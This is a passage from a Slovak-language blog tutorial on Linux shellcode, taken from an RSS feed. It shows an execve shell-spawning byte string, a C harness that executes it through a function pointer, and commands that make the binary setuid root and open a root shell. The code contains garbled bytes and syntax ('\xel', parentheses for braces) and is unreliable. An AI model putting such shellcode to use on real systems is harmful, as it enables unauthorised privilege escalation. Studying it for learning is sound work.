&quot;\x89\xe3&quot;      //     mov         %esp,%ebx
&quot;\x50&quot;           //     push       %eax
&quot;\x53&quot;         //     push       %ebx
&quot;\x89\xel&quot;   //     mov         %esp,%ecx
&quot;\x31\xd2&quot;  //     xor         %edx,%edx
&quot;\xb0\x0b&quot;  //     mov         $0xb,%al
&quot;\xcd\x80&quot;;  //     int         $0x80, podkočiarkou (;) končí reťazec</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">void</span> main <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#40;</span> 
     <span style="color: #993333;">void</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>fp<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>   <span style="color: #666666; font-style: italic;">// deklarujeme ukazovateľ na funkciu, </span>
     fp <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span> sc<span style="color: #339933;">,</span> <span style="color: #339933;">/</span> <span style="color: #339933;">/</span> nastavíme ho na adresu shellkódu 
     fp <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// a spustíme funkciu (alebo shellkód)</span>
<span style="color: #009900;">&#41;</span></pre></div></div>

<p>Program sa začne tým, že shellkód uloží do bufferu s menom <em>sc</em>. Ďalej vytvori ukazovateľ <em>fp</em>, čo je obyčajné štvorbajtové celé číslo používané ako ukazovateľ na nejakú funkciu. Tento ukazovateľ nastaví na adresu shellkódu, ktorý nakoniec spustí.</p>
<p>Kód si preložte a vyskúšajte:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">gcc</span> <span style="color: #660033;">-o</span> sc2 sc2.c 
$ <span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">chown</span> root sc2 
$ <span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">chmod</span> +s sc2 <span style="color: #000000; font-weight: bold;">*</span>
$ .<span style="color: #000000; font-weight: bold;">/</span>sc2
sh-2.05b<span style="color: #666666; font-style: italic;"># exit </span>
<span style="color: #7a0874; font-weight: bold;">exit</span></pre></div></div>

<p>Ako sa dalo čakať, dostali sme rovnaké výsledky ako minule. Gratulujeme, teraz môžete začať s písaním svojho vlastného kódu.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bloog.sk/2009/09/17/zaklady-linuxoveho-shellkodu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using memcached
Page Caching using memcached (user agent is rejected)
Database Caching 12/26 queries in 0.015 seconds using memcached
Object Caching 272/282 objects using memcached
Content Delivery Network via N/A

Served from: www.bloog.sk @ 2012-02-09 00:58:01 -->
